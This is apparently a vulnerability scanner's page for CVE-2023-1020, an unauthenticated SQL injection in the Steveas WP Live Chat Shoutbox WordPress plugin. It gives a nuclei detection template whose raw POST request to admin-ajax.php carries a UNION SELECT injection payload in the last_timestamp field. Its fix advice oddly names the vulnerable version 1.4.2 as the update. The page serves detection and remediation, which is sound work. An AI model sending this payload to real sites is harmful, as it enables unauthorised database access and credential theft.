Steveas WP Live Chat Shoutbox <= 1.4.2 - SQL Injection

criticalseverity

9.8CVSS score

4.9%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

The Steveas WP Live Chat Shoutbox WordPress plugin through 1.4.2 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

Impact

Unauthenticated attackers can execute SQL injection through AJAX actions to extract the complete WordPress database including chat logs and user credentials.

Fix

Update to the latest version of the Steveas WP Live Chat Shoutbox plugin (1.4.2) or apply the vendor-provided patch to fix the SQL Injection vulnerability.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "c8c605999f3d8352d7bb792cf3fdb25b" and "no_participation" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-1020 -u <target>

The full check

id: CVE-2023-1020

info:
  name: Steveas WP Live Chat Shoutbox <= 1.4.2 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Steveas WP Live Chat Shoutbox WordPress plugin through 1.4.2 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
  impact: |
    Unauthenticated attackers can execute SQL injection through AJAX actions to extract the complete WordPress database including chat logs and user credentials.
  remediation: |
    Update to the latest version of the Steveas WP Live Chat Shoutbox plugin (1.4.2) or apply the vendor-provided patch to fix the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4e5aa9a3-65a0-47d6-bc26-a2fb6cb073ff
    - https://wordpress.org/plugins/wp-shoutbox-live-chat/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1020
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1020
    cwe-id: CWE-89
    epss-score: 0.04949
    epss-percentile: 0.92233
    cpe: cpe:2.3:a:wp_live_chat_shoutbox_project:wp_live_chat_shoutbox:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wp_live_chat_shoutbox_project
    product: wp_live_chat_shoutbox
    framework: wordpress
  tags: cve2023,cve,wpscan,sqli,wordpress,wp-plugin,wp,wp-shoutbox-live-chat,wp_live_chat_shoutbox_project,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=shoutbox-ajax-update-messages&last_timestamp=0)+UNION+ALL+SELECT+NULL,NULL,(SELECT+CONCAT(0x6338633630353939396633643833353264376262373932636633666462323562)),NULL,NULL,NULL,NULL,NULL--+&rooms%5B%5D=default

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "c8c605999f3d8352d7bb792cf3fdb25b"
          - "no_participation"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from